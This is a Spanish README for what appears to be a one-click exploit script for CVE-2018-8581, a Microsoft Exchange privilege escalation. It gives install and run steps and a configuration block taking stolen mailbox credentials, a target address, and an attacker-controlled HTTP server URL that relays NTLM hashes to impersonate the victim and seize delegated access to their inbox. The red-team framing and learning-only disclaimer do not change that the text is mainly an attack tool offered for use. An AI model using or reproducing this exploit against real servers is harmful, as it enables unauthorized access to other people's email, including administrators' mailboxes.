
CVE-2018-8581
Esta es una vulnerabilidad de movimiento lateral y escalada de privilegios a nivel de buzón de correo.
Permite, tras obtener las credenciales de una cuenta de correo con permisos normales, tomar el control delegado de la bandeja de entrada de otros usuarios (incluidos administradores de dominio).
Este script EXP es una versión mejorada de un solo clic basada en el PoC original. Una vez configurados los parámetros relevantes, automatiza las operaciones de agregar y eliminar delegaciones en la bandeja de entrada del buzón objetivo, facilitando que los departamentos de seguridad de la parte contratante y los equipos rojos realicen una simulación de ataque autorizada en la empresa.
El PoC original requería dos scripts para agregar reglas de recepción, lo que no era práctico en el trabajo real de los equipos rojos. Además, el PoC original necesitaba, además del buzón, el SID del usuario del buzón objetivo. Sin embargo, al intentar los métodos para obtener el SID del usuario mencionados en el artículo, no pude reproducirlos exitosamente en mis pruebas con Exchange Server 2010 y 2013 (en 2010 no hay opciones relevantes; en 2013 se muestra un mensaje de falta de permisos). Finalmente, mi idea fue realizar primero una delegación inversa para obtener el SID del usuario del buzón objetivo y luego eliminar la delegación.
Instalar python-ntlm
pip install python-ntlm
Configurar los parámetros relevantes en el siguiente código del script
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Ejecutar el script, luego beber un té de goji y esperar un minuto
![]()
En este punto, la bandeja de entrada de TARGET_EMAIL se ha delegado exitosamente a CONTROLLED_EMAIL
Ver la bandeja de entrada del buzón objetivo en OWA o Outlook
img2
Cambiar FLAG a 0, ejecutar el script nuevamente, luego beber otro té de goji y esperar otro minuto para eliminar la delegación previamente agregada
img3
Ya no se tiene permiso para acceder
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
Se pueden modificar más solicitudes de la API SOAP de EWS dentro de la función make_relay_body().
Este script es solo para fines de aprendizaje e intercambio. Los usuarios deben cumplir con las leyes locales pertinentes. Cualquier responsabilidad legal derivada de su uso para otros fines recae exclusivamente en el usuario; la descarga y el uso implican la aceptación de los puntos anteriores.